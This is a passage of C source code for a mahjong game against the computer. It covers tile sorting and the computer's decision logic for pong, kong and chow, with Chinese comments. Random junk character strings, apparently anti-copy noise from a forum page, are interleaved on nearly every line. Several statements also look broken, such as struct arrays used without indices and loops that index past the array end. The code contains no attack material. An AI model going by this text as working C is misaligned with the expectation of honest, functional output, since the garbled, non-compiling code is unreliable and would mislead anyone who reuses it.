computer.pp[j+1].number=u;. [& J& V0 A  J8 X! m6 \! C
}$ d4 I1 l/ v8 U3 t2 c$ f7 M
}7 ]; J& ^& J! u: g; c6 a9 r# [
}
( H7 z( E% Z' l1 R3 o* D0 [) yvoid melipai()
) J6 G/ K' D# h{ int n,j,u;
% `) m" k) K+ y7 N) u7 N: pint *lingshi;) r& h5 k0 D, u. Z* p
for(n=0;n&lt;me.m;n++)
8 i/ }; o* v. T( |) m8 p2 @for(j=n;j&lt;me.m;j++)6 R' _  i. W% ?) ?0 [
{
* f6 P  U) r2 c) k5 Z' ^if(me.pp[n].number&gt;me.pp[j+1].number)' x: j5 C3 K  k& h+ i7 b& m# N  W6 ~
{( J: h6 i$ {9 N( W: w. q$ ^) z" t
lingshi=me.pp[n].k;
: _9 r" d$ Y7 @" n5 Mme.pp[n].k=me.pp[j+1].k;1 F+ ^3 a  z+ ?
me.pp[j+1].k=lingshi;+ t+ \. B( I& G* u4 ]" n2 L1 P
u=me.pp[n].oneorfour;
* B) M6 y- s% M1 xme.pp[n].oneorfour=me.pp[j+1].oneorfour;
; O. e( X) u" r& ]4 ?1 ^me.pp[j+1].oneorfour=u;! a. M. X9 ^- f
u=me.pp[n].number;( K4 L# Y& y  J" c
me.pp[n].number=me.pp[j+1].number;
' |/ ~+ K7 m' @1 \3 l: Kme.pp[j+1].number=u;8 L1 w. N& w; J4 ?5 b  V7 i
}
" J4 Y# {0 L, j) ~6 p% v' p5 W6 ielse
$ y0 _# N" l# |if(me.pp[n].number==me.pp[j+1].number)
7 H' Q7 d+ p1 J* p! z+ R0 ~if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
' A3 \  V5 R+ K3 C8 v2 }9 o{
7 c' e' j) o9 Rlingshi=me.pp[n].k;, w2 G4 Z2 \3 v! ]" C8 S8 O
me.pp[n].k=me.pp[j+1].k;/ g$ i: `- T. H* w
me.pp[j+1].k=lingshi;- t  v1 u5 d# U( S* z3 K
u=me.pp[n].oneorfour;6 r3 [  d* ^9 a* h: @: l6 q
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
& L/ X, ^0 N' tme.pp[j+1].oneorfour=u;
. I% m8 e# {! w& K% O0 eu=me.pp[n].number;
9 D/ C% l' p/ o: _$ V7 u: p" Q' _me.pp[n].number=me.pp[j+1].number;
' m0 n& g# c) eme.pp[j+1].number=u;3 ~$ D' l# Y& P2 ?4 d0 z
}
2 V4 g/ t. A! k# Q}7 ~; E5 H2 Z- h. Y
}! `" F+ g  N$ n
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/  `' u* ], A, q+ }% ?( A, n( b
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;' w' B+ S9 _5 |* _+ |6 `2 ~, D6 A
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
& U, W* r0 m: H+ J# d{- N0 y$ R( S/ a. p% a) p- a
logo=1;* H  F3 R$ Z* A, P7 c) I5 M& Q$ L5 k
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
7 v8 ~. b7 T9 h) H' }5 o+ q/ Clogoo=1;# N' @- U7 I. K
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
* V; I' e; c, f8 Alogoo=2;# h5 T4 P- j2 r4 ^4 ?
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
, p" _7 E7 B$ c: P: H7 m: I( d0 [logoo=3;
7 m. _9 w1 Z' l6 x8 ~" Q! c/ d8 ?else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)! M; r. i" Y/ x8 n  ~# s
logoo=4;
( H; A5 ]6 d7 ielse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)2 S, j; K0 l7 l) C3 I( t
logoo=5;7 g4 t: T4 e6 z. w( R
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
4 [" Q: m/ f, _9 Klogoo=6;
8 _2 v5 \2 `+ }2 delse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)1 x) a* X) P0 I
logoo=7;
' A8 y% J7 n6 ^& belse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
1 x- C& ]2 r' S5 J: X/ w6 }logoo=8;
8 S# K: c0 p7 L; j5 melse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
; U" Z; B  d9 B9 a' \. tlogoo=9;, I9 Q2 ?6 G5 X9 s
}0 f7 B+ m& O8 o: f
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
1 K, z) b4 u! y& Q! G{
$ f7 i% Y+ e: c( N" _8 Glogo=2;
( x' P/ z* }+ C5 u' c. L  vif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
' P3 Q* |3 W# T0 d; Ologoo=1;" ~5 ]8 j( _: |5 ?+ |
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
4 N" Q3 \3 q% \3 G7 a$ ]logoo=2;( l$ W* G9 w1 e6 }9 I: k
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)7 o6 s5 V* w- o8 S
logoo=3;
! [& L, @4 F  a$ ]* Y- E3 b0 Eelse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)0 W( F8 F0 K6 Q3 B
logoo=4;
3 N4 [7 y9 G7 ]/ |$ a1 s! \! lelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
3 A& [/ x9 n( z: nlogoo=5;3 [5 s5 K9 _0 a" t8 s3 d
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
0 R* \" Y: J% m- `% _4 s, `+ Tlogoo=6;
( b# g. |# P4 zelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
- q6 m8 d8 {; x6 R" ?( Zlogoo=7;5 q" g9 ?$ @" w5 n; R. e
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)$ t* u4 U3 Q6 ~* V  [& k
logoo=8;
" F' X2 a0 \! D' ^9 Gelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
0 m6 A1 q3 E! h4 Vlogoo=9;
: i( V! N% C+ w}% R3 I$ U; z9 r7 f% a# d
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)  q9 j6 q2 K5 y  z: g1 u
{9 T" h! E: k/ y" c6 N
logo=3;2 d  V' \  c' |$ Q2 j
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
0 X0 l' B2 f* X- ~* {  C3 L( klogoo=1;' ?. t( n# J, m7 k" x7 b
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76): j3 e) k: ?: X
logoo=2;; r" X* O. ]0 `! X. ^7 |( }
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)0 ~; ^" }3 T, y$ ?, A1 G" e. y
logoo=3;
7 ~8 d& _% C8 U* w$ V4 Y) Zelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
# o' g6 U8 R' m" v% G  Elogoo=4;
* p% ]8 a, y& i1 }9 h2 selse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88). M. {# d6 m7 K8 r0 h5 J
logoo=5;$ L8 p% o8 q+ S* v8 g. ^
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
6 ]0 [+ I5 l7 m. r. [/ E5 F! R5 ologoo=6;8 s5 P8 R( J4 g
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
3 A) \& ]+ I* [1 I+ Q& L) L7 qlogoo=7;3 B9 R5 _6 d, p% }; Q* t- B2 b
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)6 Y- A% p) |8 ~0 G  R/ t
logoo=8;: e3 h0 |- B, i: X  q$ D$ K
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)$ L. @: F9 J" \8 V& C
logoo=9;
& ^6 m5 f& F: t/ `- m; O$ c9 W}
; e7 e4 y; o8 @& V; Yelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)) v; Y2 r; D/ ?3 m- v( W. [! K
{
9 Y7 _! }2 ^) v9 |logo=4;
1 d  a' x3 S- v$ \0 rif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)2 g$ Q7 j5 c/ R" H9 W- }8 @
logoo=1;
' _& G& m" v4 W! nelse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
9 l7 l, i1 ]  v& L+ dlogoo=2;  [( _2 ~1 J$ g/ F& ]5 I
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)$ {' q" W6 u  y% {
logoo=3;
  Q1 V' s7 ]1 e% T; V! {! R7 W  velse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
0 d& O- v6 Q% m) e7 o5 V# l5 flogoo=4;: R! C. a9 P  \: o& m& c* N
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
$ t5 N% Z% y  G1 \- Ologoo=5;
2 u8 ]1 N7 B& S- w7 ^5 F9 ]) felse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
# F# H: G  h, r$ O( m6 b% U* z& m7 V8 E! Glogoo=6;% n+ X- i5 e+ T
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
( i* B6 `/ `$ C) plogoo=7;
: _  `# Q6 N# O" F}
4 e& `& Z8 x- E/ u/ [3 R$ D) }while(b&lt;=computer.m)! J. n- u5 ]& n, Y& X
{0 c9 y( @) ]- k
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/7 H+ {5 o2 M  Y) m' ?" Y
{
0 d$ x, b7 n* ]2 N8 t& Rlg=1;) Y, Z! E9 c) D. j$ K! i7 a
computer.pp.d[0]=1;
! `3 f+ j& \1 [( r1 O! M* {if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)1 ^! H1 V9 n( ~0 P& P
{
1 y. q, R+ @3 C% j! Blgg=1;9 ~3 R: ^4 C6 R% O* I
computer.pp.d[1]=1;
: P5 u* u1 ?3 }6 a}
# Q3 s2 u/ b  D4 S" t' l; @, Selse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)" n: f2 U$ z' u# g  S, v
{" B1 Z4 c: G" l! c/ _, Z2 h
lgg=2;
# i% S- k% b7 ?. J% lcomputer.pp.d[1]=2;
7 o( B; f' h, o: X8 R" u8 _}
9 V* z. Q3 g6 r4 K9 `else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
7 x9 j! {+ N6 i6 N{" V, S6 T/ i# I0 @5 Q  f
lgg=3;8 s* B+ ?0 m$ W# F2 ~9 c  r
computer.pp.d[1]=3;4 a# y  @3 k% \! \' q
}
: n, D+ r8 U2 H. T. P2 |: melse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
- j/ u- m' W4 ]! |1 `% P6 @{) W/ c* u5 Z( ?) h# f3 G
lgg=4;
( B" T  t1 c7 k$ y. Z2 Rcomputer.pp.d[1]=4;. ~1 d: F- m6 y- B4 \
}
, j: H/ u( ?# q9 w( Xelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
  b, f) b) ^: Y6 i8 k* n' m{
3 B4 v4 X$ M0 W% p3 |1 vlgg=5;3 B( g8 T  j/ @" }; J
computer.pp.d[1]=5;
7 D1 y6 T6 o) l1 u5 f}" j3 Q5 o4 m! F3 j) c5 U
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
5 ~: Z/ Q' Y9 ^5 g{
- b+ i8 v- ?) c/ H" k- Flgg=6;
6 S; A+ L4 U3 \% Hcomputer.pp.d[1]=6;
! p& ~' v0 K8 w# \) b  w}
" f- |! m+ e+ V: W0 P# ^  Q* |else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)+ s3 f( o# u" z
{$ _* K4 R% Z0 w4 t. p! g* r
lgg=7;
+ _: l/ k* x4 |* J5 i. Ucomputer.pp.d[1]=7;
0 |' O) K2 f1 P1 @: }}
: P$ }' M, P! B/ Q& [3 telse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
" Q/ e5 F3 m, d' F" y2 [$ C/ N{: a- w7 q7 G1 ~( K3 S
lgg=8;
; V7 ?: Z( ]8 v3 G$ k( Mcomputer.pp.d[1]=8;2 j* h& a, P" p$ z! i
}
# d/ H3 E( N0 V8 a( K* G! ]else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
% N2 {4 x& A% {* |6 E{
2 }% _( w' S7 o, M0 l% }  Zlgg=9;
) G0 A/ d6 ]* lcomputer.pp.d[1]=9;
8 G5 g; ]) w* Y5 L}$ r- ?' j- j1 z
}/ d! V! U: @4 w, u3 H
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)8 `% H* ~* Z  U  M( N- M
{& O: _9 q6 e0 _# E; {- h5 s3 }
lg=2;8 M( c# c. c4 o5 n9 o$ }
computer.pp.d[0]=2;; J; W  B! h6 j
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
, V- u7 M7 R9 w4 x# B) M6 _, B6 }{
5 L! d  R3 s; Q1 o/ [lgg=1;
, m( M' n, z/ b5 v/ v3 P1 ~& xcomputer.pp.d[1]=1;1 q1 @" P# J) B7 j! X- H1 k0 g' }
}" ~1 G& ]! M3 \( N$ G( B- F& t" I
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
  |/ ]1 j; o2 L9 |0 |{
6 E2 G, T) r' V5 V& ~lgg=2;+ a  \' Z" `% x4 S5 o7 l2 e
computer.pp.d[1]=2;
2 n; G  v* D0 T0 B6 P* ~}3 L6 [3 v! X& |! u9 I0 i
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)% e" _- ^+ u2 M, a* F; n; d
{6 H. u9 E' l* \3 l/ L- ]- w0 q
lgg=3;
) I: q4 D1 E+ t! ~computer.pp.d[1]=3;
) c+ k& b0 N) W, i}3 S% j6 Y$ g0 w  A1 X  D( b+ t, V" _( X
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
/ d. Y; A7 v: R% S5 X2 R* Q, d1 \{
" `$ G8 j$ e4 Y3 I4 G. Rlgg=4;* ^: H4 d( \# ?  J) Z; a2 `4 t
computer.pp.d[1]=4;
' q/ V1 }, W2 Q) P% J( a) r}
2 S- R( a6 j- H2 v" ?6 [else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)( c9 j1 C" @9 o/ u
{
; A) r/ U1 V6 ^  l/ blgg=5;8 c7 m0 P, X/ E7 ^, `3 ]/ K8 E0 ^
computer.pp.d[1]=5;
2 O) ?, [7 \: ?* p; O% F: z}
8 H: b& K: z) b% K1 x' ?( F) relse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
+ I! R( f, @) j1 k( U2 M% q{" g/ B' \. Y& e& d
lgg=6;
- W- q& Z8 l. E4 scomputer.pp.d[1]=6;0 h  O/ @0 O" X, J, C- ^
}, b' g) m" @% [4 ]! ]
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
; ?0 ~6 V; K7 k2 u6 V7 [{
: F7 z* X, e5 @  ?  q) `& K, Llgg=7;
( Z( W: f9 Q$ u& J+ x# l% ^computer.pp.d[1]=7;, b9 f( ]* \( w- ~( [+ f% }
}
% z. _% E$ }7 d% telse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
* [' I5 J9 Z8 ?{
5 A6 i8 K& T8 \6 v$ f; Elgg=8;9 Q: @4 O# k; B; i. A- _
computer.pp.d[1]=8;# J# J( x+ p7 x0 A8 n
}
  l# W) M, j* C/ Lelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
; d8 a) n: x8 [1 X! ~0 v8 f{
2 P" W, V) N' g& t& M- c% ~3 v* Zlgg=9;
: i& U! W; H4 l- y- m8 Ucomputer.pp.d[1]=9;
: Q. A$ N( m: j+ b6 H% w1 k& P1 ~}
0 Z- p  \( w" |$ O}6 v9 K8 e, a% s* B, N
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)' y1 x4 k0 h' n3 p0 l! q
{
2 X. T! S% e; klg=3;
5 e4 n4 ?5 |- e, b. u, Xcomputer.pp.d[0]=3;0 ~9 R* V2 @2 j3 Z  K
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
& ]2 w7 X; u3 I- W{
, I1 c; P$ f' w$ e, ^$ p. c, ~lgg=1;
5 d: Z# T0 Z  X' Y0 ^- y8 i/ Ecomputer.pp.d[1]=1;0 g, E1 [5 [. z. X- p" `
}; l, S4 g* C  U6 P* y9 p( e
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)0 Q% A0 V% k1 S
{
  o1 H+ D+ y& _5 a% N4 t$ [lgg=2;2 `* s0 O' O& S
computer.pp.d[1]=2;
) ~5 ^, W  Z  b8 O) ]. y. N  P}- n6 f  M( G. ]) H7 Q7 W4 U
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)$ H9 W, r# G, S! e- d7 i) o7 J
{
7 e  ?) N1 T/ T3 Zlgg=3;
$ J. i" Q! i3 |. L6 c% f2 |computer.pp.d[1]=3;
& o% a1 G/ T0 E$ A& g}8 Z) i/ k. e6 s) \4 @; T
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)4 n* G$ V8 N( I- D8 O+ \$ k; `
{
6 c. S- S+ {: q- }% }! g  [9 [- Flgg=4;
6 p5 k. ]0 S/ i1 ?# T: Z' h8 ncomputer.pp.d[1]=4;
2 I$ \- @: H5 B' U& U# K$ F7 j5 @8 j8 a}
! g2 I( Y: `- W5 t6 Gelse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)9 X! D- T# V1 V1 a# Y6 d
{, o5 F+ w  a! g2 V/ A
lgg=5;* O4 X' Z$ N5 f3 K2 b
computer.pp.d[1]=5;
' c  A. [$ z+ a6 f) V}
! N2 s# |; m  g7 }: Q5 l  [else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)7 `2 K# p2 ?2 r9 n
{
: ?/ U. O# G6 [9 Algg=6;6 f5 T, S6 j7 Q7 O1 A1 _# J
computer.pp.d[1]=6;
' L- K5 Y2 M# ~7 }5 G2 R}
6 J. q8 F0 `: Y, Oelse if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)+ p2 T; F3 y5 z! w1 t
{
$ I6 a2 K2 ]9 t. klgg=7;" h# _) W$ `3 R- t
computer.pp.d[1]=7;" I' J& A: G  B1 P5 [5 J- `
}
- o5 a8 b, o8 j( F* r* ^/ celse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
% G, m2 V. _' L2 D5 o+ q; c{
( _7 c! ]; y# Vlgg=8;
% @/ h  w/ X! R1 ccomputer.pp.d[1]=8;) G/ D$ S6 A* V7 f: Y+ b
}
2 \; Z( t* s9 Oelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
, v1 F& }. X3 d6 k. a. Y0 [* q{( L$ V9 r- M4 d1 E! Z
lgg=9;( x& ~) S% l6 W: d1 W) C( W
computer.pp.d[1]=9;
/ b; l/ u+ T0 }( S9 q% W, ?9 W}
1 P) a, F8 C, x: A& U! s}
8 u. v# [, D  W: ]0 s  \9 M! {: e! Nelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
) g! |3 I% f, q8 k( W& B{, r. r2 o) d( d1 ]. a
lg=4;
: S  d) I& i' S+ E# `2 Tcomputer.pp.d[0]=4;% Z9 V) y; b: \4 Q% G
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)- Z* B5 i1 ~5 J+ U7 F$ R8 A* ^
{* o4 e) ^3 @( z3 i7 Y
lgg=1;: Q. B' |; {3 j; E; @
computer.pp.d[1]=1;& A7 e, R1 F, G0 d* h+ u: n; K
}% @7 A/ Q% O, F5 S/ r0 `
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)! B+ }* y: Y1 Z, h5 x
{* M9 U  I1 o. d/ g) \) ^
lgg=2;0 o! X9 _4 n$ D- \2 k
computer.pp.d[1]=2;
$ e! Z+ D8 C% ~- k- i, S1 b3 [}6 v/ p0 @; D5 ]+ S; q
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116). A# o: b8 U0 n2 X
{7 w6 m" P* G- d1 L* B) R: l
lgg=3;
5 I! X. p8 S/ E' @1 icomputer.pp.d[1]=3;9 p9 t- g& S, W
}
! \0 k4 R+ [; N8 relse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
* c: p' o7 }. R, \( f9 P, X0 h{
' X  H5 Q6 W" C! W$ F+ _lgg=4;
; s. k* I5 P  L$ f  b0 j7 }computer.pp.d[1]=4;" F9 {. l) M/ p8 ]
}0 g: q* i6 S7 s) m0 R$ a7 I2 W: a
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)" i+ E& a) d3 O; G. r
{
* g- I; O+ O7 J1 T; o6 |lgg=5;# r% k. C  i' P: v- ]% M" V9 P2 \: Z& F0 L
computer.pp.d[1]=5;6 g6 R7 q" U- W1 ]1 z/ d/ i
}. w  _$ M5 ]9 A  _) L
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)/ }( g; @9 l5 ~9 P
{. c2 j+ e5 I( o7 B$ \
lgg=6;; v- @! J7 r9 p; l, s
computer.pp.d[1]=6;- T, r/ w' [% @+ ~# k+ l
}
& x" w0 R- J7 t/ Nelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)+ B5 D6 k& _# j% a$ [
{
/ l/ r3 _4 u1 N6 Q- llgg=7;% i' X+ ~7 V; }, ~* w5 U
computer.pp.d[1]=7;  t8 e1 n. _- V3 [
}
) j# n4 _8 t. K# V2 ?}
) |( I$ V7 x  r* h: M1 Q
! J9 n6 ^2 o$ Z/ E( r: v2 \  lif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
) ?0 W/ E6 p3 k$ Zif(logoo==lgg)
2 J" ]# m3 w! D, }  N1 q" mpg++;
. I) U: z' v7 A$ I6 o, ]/ Ych.lg=lg; /*保存电脑手里的每张牌的信息*/- G7 [( U; [4 h  T4 P
ch.lgg=lgg;
0 h0 ~0 X" \. A7 g* ?% ]. alg=0;
4 F0 J3 I- }' M! h1 l; @$ [, Klgg=0;- l, S" k- a- n1 q6 _# w9 @) J# h
b++;7 U: g: O6 W- ?; V$ A* c/ n
}0 a: P# l4 \! A; P
if(pg==2) /*乓*/1 R: |3 o' M8 }* P
{
1 j, }" V! v' x! j4 ]
6 O. b5 C0 L% t; Ysing=1;7 q) x0 I) y" N8 T) ^5 I# l
b=computer.m;8 b$ _. g) e: f/ z; B1 a8 }
while(b!=-1)  n+ L* q' V  J5 e
{
1 c) r0 n1 `3 b" B: D, j6 O- s+ Rif(strcmp(me.pp[c].k,computer.pp.k)==0)
& h' A# n9 g# U' Tcomputer.pp.p=1;" i! k, i! w" L! ?

2 }6 n6 X" n2 }' ?% b8 U; @b--;
/ t' B3 c- l' L7 |. Y) @. M4 N}5 g! B- `% n' D/ ~/ o) o. ~- `
}, K( z9 p6 |8 n6 K% F1 X4 b
if(pg==3) /*杠*/( O3 J: x) y% d! M
{
8 w0 ^: p" ]) D7 T0 `( H/ P% |: J% T6 Q" @; G% \7 O
sing=2;# @- U, a: Y+ p# p
b=computer.m;. i% q- Q# u* j
while(b!=-1)' v; O. x# r6 m  ]- M. N7 S
{
( L9 Y6 e1 o* Y. g8 z) Pif(strcmp(me.pp[c].k,computer.pp.k)==0)
- g8 j% E+ J2 W/ Acomputer.pp.g=1;3 J$ r7 v; T5 ?, ~# ~0 G4 U
b--;; d. I1 c4 q, J
}) ]8 ]3 |9 ~5 B( R
}+ `: Q# o( U9 ~- T2 P  d
f=0;% B- r, x& L! k% a2 k* v
while(f&lt;computer.m) /*吃的判断*/9 G1 l; S0 C5 N$ X9 A2 M( [
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
2 C  G, }+ b. i6 z{
$ H* U; j- [9 }) P# D$ L6 v* Bif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
. O  u" m2 N1 ^9 _$ x$ P4 B+ u" Jif(ch[f].lgg-logoo==1): G! H( N; g4 N  j$ j) A
{8 Y+ {+ _6 \2 w! Q- I
gp++;( J2 J, S! U" u5 V1 H
computer.pp[f].c=1;
3 P- g! a) ~% O, }: R9 |computer.pp[f+1].c=1;
" x( r. w* C- g: P- \3 x}5 U. F2 T3 C' \7 m# F7 ~/ z0 k# T3 @
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
6 I& B# L* Z4 J( Yif(ch[f+1].lgg-logoo==-1)
6 Z: k* q3 L+ `{
9 F- G3 p( B% Qgp++;9 y6 d; r5 ^/ ^3 ?( D
computer.pp[f].c=1;7 S2 B' D9 y. l- ?4 i9 n. I" o
computer.pp[f+1].c=1;
3 n0 i" f( P6 f4 T% I}
! h7 c( A, _) S: x6 p$ jif(ch[f].lgg-logoo==-1) /*中吃*/
7 o, j8 W+ U' n( t' m' C: @/ Eif(ch[f+1].lgg-logoo==1)
1 Z4 U0 Y. w0 y; Q/ K# U{
2 }- [4 x0 {6 @- O8 w2 Y$ T" J( b% c# |gp++;  G1 f$ V/ K, d8 _3 [! }2 x6 D
computer.pp[f].c=1;
  i  E. U7 \/ b& Z! c6 \* Qcomputer.pp[f+1].c=1;8 @' \) f; I% b
}% }; H- l/ B% S% P. Z
if(gp==1)1 \8 k/ r6 ?# V; o; s
break;
* F  q! U4 Y5 x( B9 p# v4 P% f0 v}
' V  T' r, K1 Y: r" Xf++;+ C4 h" @8 H7 }0 t& t: O) C2 \9 u
}
8 Y; m* {2 H+ _6 Z+ S$ t0 Uif(gp==1)
, R; G2 q6 R! S8 w: m{sing=7;
! S) n+ n& E3 _" V' `" j
, r/ a; Q, N3 t: i- p}
9 w+ m5 n; z( tpg=0;/ N1 |7 g& Y/ D# G8 g8 o( I& \
gp=0;! v$ u9 T- g8 ?4 B- F
b=0;
/ ~9 i2 D4 P, `& I( M}8 x! r) Y5 O6 h
void rgznme(int c) /*本程序涵数的核心针对我的牌*/; z/ c  H1 D, \: u1 X
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;1 D& F+ F% O% V) P; L& G1 w
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
2 ^+ e& B' A6 b) o# U{8 f+ k  E# }9 }: E3 F; z
logo=1;* C1 p7 ]$ d  s7 P9 X
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)7 z- b3 v- Y8 T/ X
logoo=1;
" ?; Y( k1 K6 n, d; m; Lelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
6 q! d" J: o& Q2 A4 V9 e: a2 clogoo=2;9 q) E/ i# o/ [% L6 A, w  z% z4 B
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)2 k6 Q+ E9 p) m2 C; a! g' \1 B
logoo=3;( x6 W5 e- @9 [; i# S+ `) s
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12), \' J0 q2 g# C) }' r4 \' k, ^6 F
logoo=4;0 w2 U: T- v2 k0 i: n% C1 k, v
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)+ [+ c$ E7 V3 F5 [
logoo=5;
5 n' ~% J% w# D# yelse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
$ B6 C8 N* w0 Z! Y6 G7 O1 tlogoo=6;
" c3 l/ X( x  e: q% `$ Pelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
1 g' P$ i- I8 b: ]" Llogoo=7;
+ `6 {# }0 L$ @& n! u! D% H9 Velse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
2 i- Z9 X. Z5 ]logoo=8;
8 `8 Q/ `0 S! `8 M* [- C) G2 N8 h4 Xelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
, H% b. U) H( Y6 Mlogoo=9;
8 i8 ~" h9 D1 z+ t- w, E$ j}$ R2 }$ k" ^; Z9 N, _9 O; R) k
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
+ q6 \% r8 K! I& n6 X" P& e{* m. k1 n- d' B: u5 @
logo=2;
% ?/ v3 [$ L; r. q% g7 Z% aif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)" p0 @( q5 ?6 p' }: v" }: |
logoo=1;8 |$ y6 p4 I! Z" I* S" M' I
